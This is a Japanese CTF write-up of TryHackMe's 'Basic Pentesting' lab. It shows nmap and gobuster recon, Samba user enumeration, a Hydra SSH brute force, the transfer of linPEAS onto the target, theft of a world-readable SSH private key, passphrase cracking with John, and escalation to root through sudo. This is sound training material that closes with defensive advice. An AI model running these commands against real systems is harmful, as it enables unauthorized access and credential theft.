まえがき
この記事はTryHackMeの "Basic Pentesting" というルームのWriteUpです。
メンテナンス中のWebサイトをハックしていきましょう!
使用ツール
- gobuster
- Hydra
- LinPEAS
- JohnTheRipper (ssh2john)
Recon (偵察) → Enumeration (列挙) → GainingAccess (侵入) → PrivEsc (権限昇格)
という流れで進めていきます。
侵入後に user.txt、権限昇格後に root.txt をゲットするのが目標です。
Recon
ターゲットを偵察していく。
IPでブラウザを見てみるとメンテナンス中になっていて特にボタン等はないようだ。
ソースコードを確認すると、「Check our dev note section」と書かれている。
開発メモかな。
nmap でオープンポートを調べる
$ nmap -sV -oN nmap.log (target ip)
## -sV -- ソフトウェアのバージョンを表示
## -oN -- ログの出力先を指定
Starting Nmap 7.60 ( https://nmap.org ) at 2024-02-07 00:12 GMT
Nmap scan report for ip-10-10-219-199.eu-west-1.compute.internal (10.10.219.199)
Host is up (0.00063s latency).
Not shown: 994 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8080/tcp open http Apache Tomcat 9.0.7
MAC Address: 02:97:11:E1:41:7F (Unknown)
Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.75 seconds
結構ポートが開いている
Enumeration
gobuster で隠れディレクトリがないか調査する
$ gobuster dir -u http://10.10.219.199 -w /usr/share/wordlists/dirb/common.txt
## gobuster dir -u (target ip) -w (kali wordlist)
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.219.199
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2024/02/07 00:29:05 Starting gobuster
===============================================================
/.htpasswd (Status: 403)
/.hta (Status: 403)
/.htaccess (Status: 403)
/development (Status: 301) ## 気になる!
/index.html (Status: 200)
/server-status (Status: 403)
===============================================================
2024/02/07 00:29:05 Finished
===============================================================
/development が気になるので見てみる。
開発メモがあった。
JさんとKさんが会話としている。
/etc/shadowの監査中に、Jさんのパスワードを簡単にクラック出来てしまったからパスワード変更をするようにと言っている。
ブルートフォースでパスワードクラックできそうだが、いまのままではJさんのユーザ名がわからない。
enum4linuxを使うと、Sambaを介して情報が抽出できる。
$ enum4linux -a http://10.10.219.199 | grep -v unknown
## unkownユーザが大量に出てくるのでgrep -vで非表示にしておく
========================================================================
| Users on 10.10.219.199 via RID cycling (RIDS: 500-550,1000-1050) |
========================================================================
[I] Found new SID: S-1-22-1
[I] Found new SID: S-1-5-21-2853212168-2008227510-3551253869
[I] Found new SID: S-1-5-32
[+] Enumerating users using SID S-1-5-21-2853212168-2008227510-3551253869 and logon username '', password ''
S-1-5-21-2853212168-2008227510-3551253869-501 BASIC2\nobody (Local User)
S-1-5-21-2853212168-2008227510-3551253869-513 BASIC2\None (Domain Group)
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\kay (Local User) ## <-- kayさん
S-1-22-1-1001 Unix User\jan (Local User) ## <-- janさん
[+] Enumerating users using SID S-1-5-32 and logon username '', password ''
S-1-5-32-544 BUILTIN\Administrators (Local Group)
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)
kay, janというユーザを発見した。
Gaining Access
janのパスワードが脆弱らしいので、Hydra を使ってブルートフォースで侵入できないか試みる。
$ hydra -l jan -P /usr/share/wordlists/rockyou.txt ssh://10.10.219.199
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2024-02-07 00:54:19
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking ssh://10.10.219.199:22/
[STATUS] 257.00 tries/min, 257 tries in 00:01h, 14344142 to do in 930:14h, 16 active
[STATUS] 253.00 tries/min, 759 tries in 00:03h, 14343640 to do in 944:55h, 16 active
[22][ssh] host: 10.10.219.199 login: jan password: armando <---!!!!
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 2 final worker threads did not complete until end.
[ERROR] 2 targets did not resolve or could not be connected
[ERROR] 16 targets did not complete
Hydra (http://www.thc.org/thc-hydra) finished at 2024-02-07 00:57:34
janのパスワードがわかり無事侵入。
権限昇格出来ないか linPEAS を使って調査する。
アタックサーバにlinpeas.shを送り込む。
ここからshell scriptをダウンロードする。
https://github.com/carlospolop/PEASS-ng/releases/tag/20240204-ab87b191
$ wget https://github.com/carlospolop/PEASS-ng/releases/download/20240204-ab87b191/linpeas.sh
$ python3 -m http.server
$ wget http:{host ip}:8000/linpeas.sh <-- w権限あるフォルダで!
$ chmod +x linpeas.sh
$ ./linpeas.sh
Targetに送る別の方法
$ scp /linpeas.sh jan@10.10.x.x:/tmp <-- janのw権限あるフォルダに送信
LinPEAS実行!かわいい
$ cat linpeas.sh | grep kay
-rw-r--r-- 1 kay kay 3326 Apr 19 2018 /home/kay/.ssh/id_rsa <----秘密鍵
-rw-r--r-- 1 kay kay 771 Apr 19 2018 /home/kay/.ssh/id_rsa.pub
-rw-rw-r-- 1 kay kay 771 Apr 23 2018 /home/kay/.ssh/authorized_keys
-rw-r--r-- 1 kay kay 771 Apr 19 2018 /home/kay/.ssh/id_rsa.pub
-rw------- 1 root kay 538 Apr 23 2018 .viminfo
-rw------- 1 kay kay 57 Apr 23 2018 /home/kay/pass.bak <---パスワードのバックアップ
-rw-r--r-- 1 kay kay 220 Apr 17 2018 /home/kay/.bash_logout
-rw-rw-r-- 1 kay kay 146342 Feb 6 21:15 /tmp/linpeas.log
-rwxrwxr-x 1 kay kay 853290 Feb 3 23:25 /tmp/linpeas.sh
id_rsaとpass.bakが気になる。
id_rsaの権限を見ると誰でも見れるようになっているのでjanでも中身が見れてしまう。
ローカルに持ってきて
$ scp jan@10.10.219.199:/home/kay/.ssh/id_rsa /root
jan@10.10.219.199 password:
id_rsa 100% 3326 4.2MB/s 00:00
$ chmod 600 id_rsa
この秘密鍵でkayにssh接続を試みる。
$ ssh -i id_rsa kay@10.10.219.199
## ssh -i {secret key} {user}@{target ip}
Enter passphrase for key 'id_rsa':
秘密鍵のパスフレーズが必要と言われる。
JohnTheRipper を使ってパスフレーズをクラックする
$ wget https://raw.githubusercontent.com/openwall/john/bleeding-jumbo/run/ssh2john.py
## ssh2johnがなかったので持ってきた
$ python3 ssh2john.py id_rsa > hash
$ john hash --wordlist=/usr/share/wordlists/rockyou.txt
Note: This format may emit false positives, so it will keep trying even after finding a
possible candidate.
Warning: detected hash type "SSH", but the string is also recognized as "ssh-opencl"
Use the "--format=ssh-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
beeswax (id_rsa) <----!!!!!
1g 0:00:00:15 DONE (2024-02-07 02:06) 0.06261g/s 898039p/s 898039c/s 898039C/s *7¡Vamos!
Session completed.
root@ip-10-10-85-107
beeswaxだとわかり、kayでログイン成功!!!
さきほど気になっていたpass.bakを閲覧してフラグゲット
$ cat /home/kay/pass.bak
heresareallystrongpasswordthatfollow************
Kayのログインパスワードがわかりました。
$ sudo -l
User kay may run the following commands on basic2:
(ALL : ALL) ALL
なんとKayさんsudo権限を持っていた。
$ sudo su
root #
rootに権限昇格出来ました。
あとがき
さくさく進めて楽しかった。ツールを使ったことが無かったので基本的なツールを使う練習が出来てよかったです。
基本的なことですが、ブルートフォースされないようにパスワード失敗時のロックをかけたり、パスワードリストにあるような脆弱なパスワードは使わないようにしましょう。